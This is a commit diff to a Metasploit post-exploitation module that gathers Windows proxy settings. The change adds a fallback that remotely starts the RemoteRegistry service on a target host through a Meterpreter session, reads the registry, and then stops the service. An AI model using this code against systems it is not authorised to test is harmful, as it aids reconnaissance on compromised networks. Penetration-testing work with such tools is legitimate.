Skip to content

Commit 86c73e9

Browse files
committed
Add ability to remotely start registry for read
1 parent 431dc31 commit 86c73e9

File tree

1 file changed

+19
-4
lines changed

1 file changed

+19
-4
lines changed

modules/post/windows/gather/enum_proxy.rb

Lines changed: 19 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -13,6 +13,8 @@
1313

1414
class Metasploit3 < Msf::Post
1515

16+
include Post::Windows::WindowsServices
17+
1618
def initialize
1719
super(
1820
'Name' => 'Windows Gather Proxy Setting',
@@ -43,18 +45,31 @@ def run
4345
root_key, base_key = session.sys.registry.splitkey("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections")
4446
end
4547

46-
# print_status "#{root_key}"
47-
# print_status "#{base_key}"
48-
4948
if datastore['RHOST']
50-
key = session.sys.registry.open_remote_key(datastore['RHOST'], root_key)
49+
begin
50+
key = session.sys.registry.open_remote_key(datastore['RHOST'], root_key)
51+
rescue ::Rex::Post::Meterpreter::RequestError
52+
print_error("Unable to contact remote registry service on #{datastore['RHOST']}")
53+
print_status("Attempting to start service remotely...")
54+
begin
55+
service_start('RemoteRegistry',datastore['RHOST'])
56+
rescue
57+
print_error('Unable to read registry or start the service, exiting...')
58+
return
59+
end
60+
startedreg = true
61+
key = session.sys.registry.open_remote_key(datastore['RHOST'], root_key)
62+
end
5163
open_key = key.open_key(base_key)
5264
else
5365
open_key = session.sys.registry.open_key(root_key, base_key)
5466
end
5567

5668
values = open_key.query_value('DefaultConnectionSettings')
5769

70+
#If we started the service we need to stop it.
71+
service_stop('RemoteRegistry',datastore['RHOST']) if startedreg
72+
5873
data = values.data
5974

6075
print_status "Proxy Counter = #{(data[4,1].unpack('C*'))[0]}"

0 commit comments

Comments
 (0)